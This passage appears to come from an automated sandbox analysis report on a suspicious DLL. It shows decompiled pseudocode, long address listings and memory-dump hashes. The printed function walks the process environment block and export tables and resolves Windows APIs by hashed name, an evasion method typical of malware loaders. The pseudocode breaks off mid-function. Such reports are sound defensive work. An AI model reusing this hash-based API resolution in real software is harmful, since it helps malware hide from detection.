                                                                                                                                              					_t321 = _t250;
                                                                                                                                              					_t427[8] = _t412 + 0x1b9;
                                                                                                                                              					if(_t427[5] == 0) {
                                                                                                                                              						_t413 = _t412 + 0x1a1;
                                                                                                                                              						_t321 = _t250 & 0x000000fe;
                                                                                                                                              					} else {
                                                                                                                                              						_t413 = _t427[8];
                                                                                                                                              						_t427[8] = _t412 + 0x1cb;
                                                                                                                                              					}
                                                                                                                                              					while(_t413 != _t427[8]) {
                                                                                                                                              						if(_t321 ==  *_t413) {
                                                                                                                                              							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
                                                                                                                                              								goto L52;
                                                                                                                                              							}
                                                                                                                                              							goto L51;
                                                                                                                                              						}
                                                                                                                                              						_t413 = _t413 + 2;
                                                                                                                                              					}
                                                                                                                                              					goto L51;
                                                                                                                                              				}
                                                                                                                                              			}






































































                                                                                                                                              0x6ebe9377
                                                                                                                                              0x6ebe937b
                                                                                                                                              0x6ebe9387
                                                                                                                                              0x6ebe938b
                                                                                                                                              0x6ebe938f
                                                                                                                                              0x6ebe9394
                                                                                                                                              0x6ebe9397
                                                                                                                                              0x6ebe9399
                                                                                                                                              0x6ebe939b
                                                                                                                                              0x6ebe939b
                                                                                                                                              0x6ebe939e
                                                                                                                                              0x6ebe93a4
                                                                                                                                              0x6ebe941c
                                                                                                                                              0x6ebe9420
                                                                                                                                              0x6ebe9423
                                                                                                                                              0x6ebe9423
                                                                                                                                              0x6ebe9426
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9426
                                                                                                                                              0x6ebe93ab
                                                                                                                                              0x6ebe9413
                                                                                                                                              0x6ebe9417
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9417
                                                                                                                                              0x6ebe93b2
                                                                                                                                              0x6ebe940b
                                                                                                                                              0x6ebe940e
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe940e
                                                                                                                                              0x6ebe93b7
                                                                                                                                              0x6ebe93f5
                                                                                                                                              0x6ebe93fc
                                                                                                                                              0x6ebe93ff
                                                                                                                                              0x6ebe93c8
                                                                                                                                              0x6ebe93c8
                                                                                                                                              0x6ebe93ce
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe93d3
                                                                                                                                              0x6ebe93ed
                                                                                                                                              0x6ebe93f0
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe93f0
                                                                                                                                              0x6ebe93d8
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe93da
                                                                                                                                              0x6ebe93de
                                                                                                                                              0x6ebe93e1
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe93e1
                                                                                                                                              0x6ebe93d8
                                                                                                                                              0x6ebe9429
                                                                                                                                              0x6ebe9429
                                                                                                                                              0x6ebe9429
                                                                                                                                              0x6ebe9432
                                                                                                                                              0x6ebe943b
                                                                                                                                              0x6ebe943e
                                                                                                                                              0x6ebe9441
                                                                                                                                              0x6ebe9444
                                                                                                                                              0x6ebe9447
                                                                                                                                              0x6ebe944d
                                                                                                                                              0x6ebe948f
                                                                                                                                              0x6ebe9492
                                                                                                                                              0x6ebe9493
                                                                                                                                              0x6ebe949a
                                                                                                                                              0x6ebe949d
                                                                                                                                              0x6ebe944f
                                                                                                                                              0x6ebe9453
                                                                                                                                              0x6ebe945d
                                                                                                                                              0x6ebe9464
                                                                                                                                              0x6ebe9466
                                                                                                                                              0x6ebe947f
                                                                                                                                              0x6ebe9482
                                                                                                                                              0x6ebe9482
                                                                                                                                              0x6ebe9464
                                                                                                                                              0x6ebe94a5
                                                                                                                                              0x6ebe94a8
                                                                                                                                              0x6ebe94ab
                                                                                                                                              0x6ebe94af
                                                                                                                                              0x6ebe94b3
                                                                                                                                              0x6ebe94bd
                                                                                                                                              0x6ebe94c1
                                                                                                                                              0x6ebe94cb
                                                                                                                                              0x6ebe94d4
                                                                                                                                              0x6ebe94e1
                                                                                                                                              0x6ebe94e4
                                                                                                                                              0x6ebe94e7
                                                                                                                                              0x6ebe94e7
                                                                                                                                              0x6ebe94f3
                                                                                                                                              0x6ebe94fe
                                                                                                                                              0x6ebe9504
                                                                                                                                              0x6ebe9508
                                                                                                                                              0x6ebe94f5
                                                                                                                                              0x6ebe94f5
                                                                                                                                              0x6ebe94f5
                                                                                                                                              0x6ebe9510
                                                                                                                                              0x6ebe953a
                                                                                                                                              0x6ebe9540
                                                                                                                                              0x6ebe9540
                                                                                                                                              0x6ebe9548
                                                                                                                                              0x6ebe98f1
                                                                                                                                              0x6ebe98f7
                                                                                                                                              0x6ebe98fd
                                                                                                                                              0x6ebe98fd
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe954e
                                                                                                                                              0x6ebe954e
                                                                                                                                              0x6ebe9552
                                                                                                                                              0x6ebe9555
                                                                                                                                              0x6ebe9558
                                                                                                                                              0x6ebe955b
                                                                                                                                              0x6ebe955f
                                                                                                                                              0x6ebe9561
                                                                                                                                              0x6ebe9564
                                                                                                                                              0x6ebe9567
                                                                                                                                              0x6ebe956b
                                                                                                                                              0x6ebe9570
                                                                                                                                              0x6ebe9573
                                                                                                                                              0x6ebe9577
                                                                                                                                              0x6ebe957c
                                                                                                                                              0x6ebe957f
                                                                                                                                              0x6ebe9581
                                                                                                                                              0x6ebe9584
                                                                                                                                              0x6ebe9588
                                                                                                                                              0x6ebe958d
                                                                                                                                              0x6ebe959d
                                                                                                                                              0x6ebe95a3
                                                                                                                                              0x6ebe95a3
                                                                                                                                              0x6ebe95ab
                                                                                                                                              0x6ebe95ad
                                                                                                                                              0x6ebe95b6
                                                                                                                                              0x6ebe95b8
                                                                                                                                              0x6ebe95bb
                                                                                                                                              0x6ebe95c6
                                                                                                                                              0x6ebe95f3
                                                                                                                                              0x6ebe95c8
                                                                                                                                              0x6ebe95df
                                                                                                                                              0x6ebe95df
                                                                                                                                              0x6ebe95fb
                                                                                                                                              0x6ebe9601
                                                                                                                                              0x6ebe9607
                                                                                                                                              0x6ebe9607
                                                                                                                                              0x6ebe95fb
                                                                                                                                              0x6ebe95b6
                                                                                                                                              0x6ebe960e
                                                                                                                                              0x6ebe967f
                                                                                                                                              0x6ebe9684
                                                                                                                                              0x6ebe96dd
                                                                                                                                              0x6ebe979f
                                                                                                                                              0x6ebe97a4
                                                                                                                                              0x6ebe97b3
                                                                                                                                              0x6ebe97b9
                                                                                                                                              0x6ebe97bd
                                                                                                                                              0x6ebe97c6
                                                                                                                                              0x6ebe97cd
                                                                                                                                              0x6ebe97d6
                                                                                                                                              0x6ebe97e4
                                                                                                                                              0x6ebe97e7
                                                                                                                                              0x6ebe97cf
                                                                                                                                              0x6ebe97cf
                                                                                                                                              0x6ebe97cf
                                                                                                                                              0x6ebe97cd
                                                                                                                                              0x6ebe97f0
                                                                                                                                              0x6ebe981d
                                                                                                                                              0x6ebe9830
                                                                                                                                              0x6ebe9838
                                                                                                                                              0x6ebe981f
                                                                                                                                              0x6ebe9821
                                                                                                                                              0x6ebe9829
                                                                                                                                              0x6ebe9829
                                                                                                                                              0x6ebe97f2
                                                                                                                                              0x6ebe97f7
                                                                                                                                              0x6ebe9816
                                                                                                                                              0x6ebe97f9
                                                                                                                                              0x6ebe97fe
                                                                                                                                              0x6ebe980f
                                                                                                                                              0x6ebe9800
                                                                                                                                              0x6ebe9800
                                                                                                                                              0x6ebe9800
                                                                                                                                              0x6ebe97fe
                                                                                                                                              0x6ebe97f7
                                                                                                                                              0x6ebe9840
                                                                                                                                              0x6ebe984f
                                                                                                                                              0x6ebe985c
                                                                                                                                              0x6ebe9865
                                                                                                                                              0x6ebe9869
                                                                                                                                              0x6ebe986d
                                                                                                                                              0x6ebe9870
                                                                                                                                              0x6ebe9873
                                                                                                                                              0x6ebe9876
                                                                                                                                              0x6ebe9879
                                                                                                                                              0x6ebe987c
                                                                                                                                              0x6ebe9882
                                                                                                                                              0x6ebe9886
                                                                                                                                              0x6ebe988c
                                                                                                                                              0x6ebe988c
                                                                                                                                              0x6ebe9882
                                                                                                                                              0x6ebe9892
                                                                                                                                              0x6ebe98cf
                                                                                                                                              0x6ebe98d3
                                                                                                                                              0x6ebe98da
                                                                                                                                              0x6ebe98e0
                                                                                                                                              0x6ebe9894
                                                                                                                                              0x6ebe9897
                                                                                                                                              0x6ebe98b7
                                                                                                                                              0x6ebe98bb
                                                                                                                                              0x6ebe98c2
                                                                                                                                              0x6ebe98c9
                                                                                                                                              0x6ebe9899
                                                                                                                                              0x6ebe989c
                                                                                                                                              0x6ebe989e
                                                                                                                                              0x6ebe98a2
                                                                                                                                              0x6ebe98ac
                                                                                                                                              0x6ebe98b2
                                                                                                                                              0x6ebe98b2
                                                                                                                                              0x6ebe989c
                                                                                                                                              0x6ebe9897
                                                                                                                                              0x6ebe98e7
                                                                                                                                              0x6ebe98e7
                                                                                                                                              0x6ebe9900
                                                                                                                                              0x6ebe9900
                                                                                                                                              0x6ebe9906
                                                                                                                                              0x6ebe990b
                                                                                                                                              0x6ebe9965
                                                                                                                                              0x6ebe996a
                                                                                                                                              0x6ebe99a9
                                                                                                                                              0x6ebe99ae
                                                                                                                                              0x6ebe99b0
                                                                                                                                              0x6ebe99b4
                                                                                                                                              0x6ebe99b7
                                                                                                                                              0x6ebe99ba
                                                                                                                                              0x6ebe99bc
                                                                                                                                              0x6ebe99bd
                                                                                                                                              0x6ebe99bd
                                                                                                                                              0x6ebe99c2
                                                                                                                                              0x6ebe99e0
                                                                                                                                              0x6ebe99e2
                                                                                                                                              0x6ebe99e6
                                                                                                                                              0x6ebe99ec
                                                                                                                                              0x6ebe99ef
                                                                                                                                              0x6ebe99f1
                                                                                                                                              0x6ebe99f2
                                                                                                                                              0x6ebe99f2
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe99c4
                                                                                                                                              0x6ebe99c4
                                                                                                                                              0x6ebe99c4
                                                                                                                                              0x6ebe99c8
                                                                                                                                              0x6ebe99ce
                                                                                                                                              0x6ebe99d1
                                                                                                                                              0x6ebe99d3
                                                                                                                                              0x6ebe99d6
                                                                                                                                              0x6ebe99f5
                                                                                                                                              0x6ebe99f5
                                                                                                                                              0x6ebe99fc
                                                                                                                                              0x6ebe9a16
                                                                                                                                              0x6ebe99fe
                                                                                                                                              0x6ebe99fe
                                                                                                                                              0x6ebe9a0a
                                                                                                                                              0x6ebe9a0b
                                                                                                                                              0x6ebe9a0e
                                                                                                                                              0x6ebe9a0e
                                                                                                                                              0x6ebe9a24
                                                                                                                                              0x6ebe9a24
                                                                                                                                              0x6ebe99c2
                                                                                                                                              0x6ebe996f
                                                                                                                                              0x6ebe997d
                                                                                                                                              0x6ebe9995
                                                                                                                                              0x6ebe9999
                                                                                                                                              0x6ebe999c
                                                                                                                                              0x6ebe99a2
                                                                                                                                              0x6ebe99a6
                                                                                                                                              0x6ebe99a6
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe99a6
                                                                                                                                              0x6ebe997f
                                                                                                                                              0x6ebe9983
                                                                                                                                              0x6ebe9989
                                                                                                                                              0x6ebe9989
                                                                                                                                              0x6ebe998f
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe998f
                                                                                                                                              0x6ebe9971
                                                                                                                                              0x6ebe9975
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9975
                                                                                                                                              0x6ebe990f
                                                                                                                                              0x6ebe993b
                                                                                                                                              0x6ebe9953
                                                                                                                                              0x6ebe9957
                                                                                                                                              0x6ebe995a
                                                                                                                                              0x6ebe995d
                                                                                                                                              0x6ebe995f
                                                                                                                                              0x6ebe9962
                                                                                                                                              0x6ebe993d
                                                                                                                                              0x6ebe993d
                                                                                                                                              0x6ebe9941
                                                                                                                                              0x6ebe9944
                                                                                                                                              0x6ebe9947
                                                                                                                                              0x6ebe994a
                                                                                                                                              0x6ebe994d
                                                                                                                                              0x6ebe994d
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe993b
                                                                                                                                              0x6ebe9915
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe991b
                                                                                                                                              0x6ebe991f
                                                                                                                                              0x6ebe9925
                                                                                                                                              0x6ebe9928
                                                                                                                                              0x6ebe992b
                                                                                                                                              0x6ebe992e
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe992e
                                                                                                                                              0x6ebe97a6
                                                                                                                                              0x6ebe97aa
                                                                                                                                              0x6ebe97b0
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe97b0
                                                                                                                                              0x6ebe96e8
                                                                                                                                              0x6ebe96fa
                                                                                                                                              0x6ebe96ff
                                                                                                                                              0x6ebe976a
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9771
                                                                                                                                              0x6ebe9797
                                                                                                                                              0x6ebe979b
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe977a
                                                                                                                                              0x6ebe977f
                                                                                                                                              0x6ebe9793
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9795
                                                                                                                                              0x6ebe9786
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe978b
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe978d
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9771
                                                                                                                                              0x6ebe9701
                                                                                                                                              0x6ebe970b
                                                                                                                                              0x6ebe971c
                                                                                                                                              0x6ebe971f
                                                                                                                                              0x6ebe9722
                                                                                                                                              0x6ebe9728
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe972e
                                                                                                                                              0x6ebe972e
                                                                                                                                              0x6ebe972e
                                                                                                                                              0x6ebe9735
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9737
                                                                                                                                              0x6ebe973a
                                                                                                                                              0x6ebe9740
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9742
                                                                                                                                              0x6ebe9744
                                                                                                                                              0x6ebe974d
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9761
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9763
                                                                                                                                              0x6ebe96ef
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe96f5
                                                                                                                                              0x6ebe9689
                                                                                                                                              0x6ebe96b8
                                                                                                                                              0x6ebe96b9
                                                                                                                                              0x6ebe96c2
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe96d3
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe96d3
                                                                                                                                              0x6ebe9690
                                                                                                                                              0x6ebe9693
                                                                                                                                              0x6ebe96a6
                                                                                                                                              0x6ebe96a7
                                                                                                                                              0x6ebe96ab
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9693
                                                                                                                                              0x6ebe9689
                                                                                                                                              0x6ebe9615
                                                                                                                                              0x6ebe9672
                                                                                                                                              0x6ebe9676
                                                                                                                                              0x6ebe967c
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe967c
                                                                                                                                              0x6ebe9617
                                                                                                                                              0x6ebe961b
                                                                                                                                              0x6ebe9628
                                                                                                                                              0x6ebe962c
                                                                                                                                              0x6ebe9642
                                                                                                                                              0x6ebe964a
                                                                                                                                              0x6ebe962e
                                                                                                                                              0x6ebe9630
                                                                                                                                              0x6ebe963a
                                                                                                                                              0x6ebe963a
                                                                                                                                              0x6ebe9650
                                                                                                                                              0x6ebe9659
                                                                                                                                              0x6ebe9670
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9670
                                                                                                                                              0x6ebe965b
                                                                                                                                              0x6ebe965b
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe9650

                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 0-3916222277
                                                                                                                                              • Opcode ID: 407fd4848e5b307e07d906eea16bb6147e298fc8bb87a15a6d3895badca8086c
                                                                                                                                              • Instruction ID: a2ee7791ca05f381ee17cc2446dbcc29d23b289794f4ca287048d60efc718a25
                                                                                                                                              • Opcode Fuzzy Hash: 407fd4848e5b307e07d906eea16bb6147e298fc8bb87a15a6d3895badca8086c
                                                                                                                                              • Instruction Fuzzy Hash: 6622A0704083D68FD715CE95C4A136ABFE1FF86380F0088AEE9E54B691D375998DCB92
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 90%
                                                                                                                                              			E6EBE143C(signed char __eax, signed char __edx) {
                                                                                                                                              				void* __ebx;
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				signed char _t231;
                                                                                                                                              				signed char _t233;
                                                                                                                                              				signed char _t238;
                                                                                                                                              				intOrPtr _t241;
                                                                                                                                              				void* _t246;
                                                                                                                                              				signed char _t257;
                                                                                                                                              				signed char _t261;
                                                                                                                                              				signed char _t269;
                                                                                                                                              				signed char _t270;
                                                                                                                                              				signed char _t277;
                                                                                                                                              				signed int _t279;
                                                                                                                                              				signed char _t280;
                                                                                                                                              				signed char _t281;
                                                                                                                                              				void* _t289;
                                                                                                                                              				void* _t290;
                                                                                                                                              				signed char _t315;
                                                                                                                                              				void* _t319;
                                                                                                                                              				signed char _t334;
                                                                                                                                              				signed char _t336;
                                                                                                                                              				void* _t341;
                                                                                                                                              				void* _t347;
                                                                                                                                              				intOrPtr _t352;
                                                                                                                                              				signed char _t354;
                                                                                                                                              				signed char _t363;
                                                                                                                                              				void* _t369;
                                                                                                                                              				intOrPtr _t371;
                                                                                                                                              				signed short* _t373;
                                                                                                                                              				void _t375;
                                                                                                                                              				void* _t379;
                                                                                                                                              				signed int _t381;
                                                                                                                                              				void* _t382;
                                                                                                                                              				void** _t383;
                                                                                                                                              				void* _t384;
                                                                                                                                              				char* _t387;
                                                                                                                                              				signed char _t395;
                                                                                                                                              				signed char* _t396;
                                                                                                                                              				intOrPtr _t400;
                                                                                                                                              				signed int _t451;
                                                                                                                                              				intOrPtr* _t455;
                                                                                                                                              				signed char _t456;
                                                                                                                                              				signed int _t462;
                                                                                                                                              				void* _t467;
                                                                                                                                              				signed char _t471;
                                                                                                                                              				signed char _t472;
                                                                                                                                              				signed char* _t477;
                                                                                                                                              				signed char _t487;
                                                                                                                                              				signed int _t490;
                                                                                                                                              				intOrPtr* _t496;
                                                                                                                                              				intOrPtr _t497;
                                                                                                                                              				signed char _t498;
                                                                                                                                              				signed char _t499;
                                                                                                                                              				intOrPtr _t500;
                                                                                                                                              				signed char _t508;
                                                                                                                                              				intOrPtr _t510;
                                                                                                                                              				void* _t513;
                                                                                                                                              				signed char _t519;
                                                                                                                                              				intOrPtr* _t524;
                                                                                                                                              				signed char _t525;
                                                                                                                                              				signed char _t526;
                                                                                                                                              				signed char _t527;
                                                                                                                                              				signed char _t529;
                                                                                                                                              				signed char* _t531;
                                                                                                                                              				signed char _t532;
                                                                                                                                              				void* _t533;
                                                                                                                                              				void* _t534;
                                                                                                                                              				signed char* _t535;
                                                                                                                                              
                                                                                                                                              				_t535[0x54] = __edx;
                                                                                                                                              				 *_t535 = __eax;
                                                                                                                                              				_t231 = E6EBE0304(__edx, 1);
                                                                                                                                              				if(_t231 != 0) {
                                                                                                                                              					return _t231;
                                                                                                                                              				}
                                                                                                                                              				_t535[0x2c] = _t231;
                                                                                                                                              				if( *0x6ebed208 == 0 ||  *0x6ebed2e4 != 0) {
                                                                                                                                              					L44:
                                                                                                                                              					if( *_t535 == 0) {
                                                                                                                                              						return 0;
                                                                                                                                              					}
                                                                                                                                              					_t233 =  *_t535;
                                                                                                                                              					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
                                                                                                                                              					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
                                                                                                                                              					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
                                                                                                                                              					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
                                                                                                                                              					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
                                                                                                                                              					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
                                                                                                                                              						L77:
                                                                                                                                              						 *_t535 = 0;
                                                                                                                                              						_t535[0x2c] = 0;
                                                                                                                                              						L78:
                                                                                                                                              						return  *_t535;
                                                                                                                                              					}
                                                                                                                                              					_t535[0x12c] = 0;
                                                                                                                                              					_t535[0x174] = _t535[0x54] ^ 0xe462d21c;
                                                                                                                                              					do {
                                                                                                                                              						_t467 = 0;
                                                                                                                                              						_t387 =  *_t524 +  *_t535;
                                                                                                                                              						_t238 =  *_t387;
                                                                                                                                              						_t535[0x58] = _t238;
                                                                                                                                              						if(_t238 == 0) {
                                                                                                                                              							L49:
                                                                                                                                              							if(E6EBE4FFC( &(_t535[0x58]), _t467) == _t535[0x174]) {
                                                                                                                                              								_t535[0x2c] = 0;
                                                                                                                                              								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
                                                                                                                                              								__eflags = _t241 - _t510;
                                                                                                                                              								if(_t241 < _t510) {
                                                                                                                                              									L57:
                                                                                                                                              									_t471 =  *_t535 + _t241;
                                                                                                                                              									__eflags = _t471;
                                                                                                                                              									 *_t535 = _t471;
                                                                                                                                              									_t535[0x2c] = _t471;
                                                                                                                                              									L58:
                                                                                                                                              									__eflags =  *_t535;
                                                                                                                                              									if( *_t535 == 0) {
                                                                                                                                              										goto L78;
                                                                                                                                              									}
                                                                                                                                              									__eflags =  *0x6ebed2f0 |  *0x6ebed2f1;
                                                                                                                                              									if(( *0x6ebed2f0 |  *0x6ebed2f1) == 0) {
                                                                                                                                              										_t525 =  *0x6ebed208; // 0x2521340
                                                                                                                                              										__eflags = _t525;
                                                                                                                                              										if(_t525 == 0) {
                                                                                                                                              											 *0x6ebed2f0 = 1;
                                                                                                                                              											_t526 = E6EBE361C(0x1c4);
                                                                                                                                              											__eflags = _t526;
                                                                                                                                              											if(_t526 == 0) {
                                                                                                                                              												_t526 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              											} else {
                                                                                                                                              												E6EBE1C30(_t526, 0x10);
                                                                                                                                              												 *(_t526 + 0x1c0) = 0;
                                                                                                                                              											}
                                                                                                                                              											 *0x6ebed208 = _t526;
                                                                                                                                              											 *0x6ebed2f0 = 0;
                                                                                                                                              											L68:
                                                                                                                                              											_t246 = 0;
                                                                                                                                              											_t472 = 0;
                                                                                                                                              											__eflags = 0;
                                                                                                                                              											while(1) {
                                                                                                                                              												__eflags =  *(_t472 + _t526 + 8);
                                                                                                                                              												if( *(_t472 + _t526 + 8) == 0) {
                                                                                                                                              													break;
                                                                                                                                              												}
                                                                                                                                              												_t246 = _t246 + 1;
                                                                                                                                              												_t472 = _t472 + 0x1c;
                                                                                                                                              												__eflags = _t246 - 0x10;
                                                                                                                                              												if(_t246 < 0x10) {
                                                                                                                                              													continue;
                                                                                                                                              												}
                                                                                                                                              												_t375 = E6EBE361C(0x1c4);
                                                                                                                                              												__eflags = _t375;
                                                                                                                                              												if(_t375 == 0) {
                                                                                                                                              													_t375 = 0;
                                                                                                                                              													__eflags = 0;
                                                                                                                                              												} else {
                                                                                                                                              													E6EBE1C30(_t375, 0x10);
                                                                                                                                              													 *(_t375 + 0x1c0) = 0;
                                                                                                                                              												}
                                                                                                                                              												 *(_t375 + 0x14) = _t535[0x2c];
                                                                                                                                              												E6EBDDFC0(_t375,  &(_t535[0x58]));
                                                                                                                                              												 *(_t375 + 8) = _t535[0x54];
                                                                                                                                              												 *(_t526 + 0x1c0) = _t375;
                                                                                                                                              												L76:
                                                                                                                                              												 *_t535 = _t535[0x2c];
                                                                                                                                              												goto L78;
                                                                                                                                              											}
                                                                                                                                              											_t527 = _t526 + _t472;
                                                                                                                                              											__eflags = _t527;
                                                                                                                                              											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
                                                                                                                                              											E6EBDDFC0(_t527,  &(_t535[0x58]));
                                                                                                                                              											 *(_t527 + 8) = _t535[0x54];
                                                                                                                                              											goto L76;
                                                                                                                                              										}
                                                                                                                                              										_t257 =  *(_t525 + 0x1c0);
                                                                                                                                              										while(1) {
                                                                                                                                              											__eflags = _t257;
                                                                                                                                              											if(_t257 == 0) {
                                                                                                                                              												goto L68;
                                                                                                                                              											}
                                                                                                                                              											_t526 = _t257;
                                                                                                                                              											_t257 =  *(_t257 + 0x1c0);
                                                                                                                                              										}
                                                                                                                                              										goto L68;
                                                                                                                                              									}
                                                                                                                                              									__eflags = _t535[0x54] - 0x1c6ef387;
                                                                                                                                              									if(_t535[0x54] == 0x1c6ef387) {
                                                                                                                                              										 *0x6ebed20c =  *_t535;
                                                                                                                                              									} else {
                                                                                                                                              										__eflags = _t535[0x54] - 0x45b68b68;
                                                                                                                                              										if(_t535[0x54] == 0x45b68b68) {
                                                                                                                                              											 *0x6ebed210 =  *_t535;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									goto L78;
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t241 - _t535[0x130];
                                                                                                                                              								if(_t241 >= _t535[0x130]) {
                                                                                                                                              									goto L57;
                                                                                                                                              								}
                                                                                                                                              								_t535[0x130] =  &(_t535[0x58]);
                                                                                                                                              								_t261 = E6EBDE8A8( &(_t535[0x58]), 0x7fffffff);
                                                                                                                                              								_t477 =  &(_t535[0x12c]);
                                                                                                                                              								 *_t477 = _t261;
                                                                                                                                              								_t477[2] = _t261 + 1;
                                                                                                                                              								_t395 = E6EBE306C(0x60a28c5c, 0x522ec1f2, 0x60a28c5c, 0x60a28c5c);
                                                                                                                                              								__eflags = _t395;
                                                                                                                                              								if(_t395 != 0) {
                                                                                                                                              									_t202 =  &(_t535[0x12c]); // 0x100
                                                                                                                                              									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
                                                                                                                                              								}
                                                                                                                                              								 *_t535 = _t535[0x2c];
                                                                                                                                              								goto L58;
                                                                                                                                              							}
                                                                                                                                              							goto L50;
                                                                                                                                              						} else {
                                                                                                                                              							goto L48;
                                                                                                                                              						}
                                                                                                                                              						do {
                                                                                                                                              							L48:
                                                                                                                                              							_t467 = _t467 + 1;
                                                                                                                                              							_t270 =  *((intOrPtr*)(_t467 + _t387));
                                                                                                                                              							_t535[_t467 + 0x58] = _t270;
                                                                                                                                              						} while (_t270 != 0);
                                                                                                                                              						goto L49;
                                                                                                                                              						L50:
                                                                                                                                              						_t524 = _t524 + 4;
                                                                                                                                              						_t396 =  &(_t535[0x12c]);
                                                                                                                                              						_t373 =  &(_t373[1]);
                                                                                                                                              						_t269 =  *_t396 + 1;
                                                                                                                                              						 *_t396 = _t269;
                                                                                                                                              					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
                                                                                                                                              					goto L77;
                                                                                                                                              				} else {
                                                                                                                                              					_t535[0x30] = 0;
                                                                                                                                              					 *0x6ebed2e4 = 1;
                                                                                                                                              					E6EBDF584( &(_t535[0x38]), 0);
                                                                                                                                              					E6EBDF584( &(_t535[0x168]), 0x1c);
                                                                                                                                              					_t535[0x58] = E6EBDF4BC( &(_t535[0x168]), 0);
                                                                                                                                              					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
                                                                                                                                              					_t535[0x48] =  *(_t400 + 0xc);
                                                                                                                                              					_t535[0x60] =  *(_t400 + 0x10);
                                                                                                                                              					goto L5;
                                                                                                                                              					L6:
                                                                                                                                              					_t384 = 0;
                                                                                                                                              					do {
                                                                                                                                              						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
                                                                                                                                              							goto L13;
                                                                                                                                              						}
                                                                                                                                              						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
                                                                                                                                              						_t496 = E6EBE306C(0x60a28c5c, 0xe7942190, _t279, _t279);
                                                                                                                                              						if(_t496 == 0) {
                                                                                                                                              							L10:
                                                                                                                                              							_t456 = _t535[0x50];
                                                                                                                                              							_t497 =  *((intOrPtr*)(_t529 + 0xc));
                                                                                                                                              							_t498 = _t497 + _t456;
                                                                                                                                              							_t500 =  *((intOrPtr*)(_t529 + 8));
                                                                                                                                              							_t535[0x28] = _t498;
                                                                                                                                              							_t499 = _t498 + _t500;
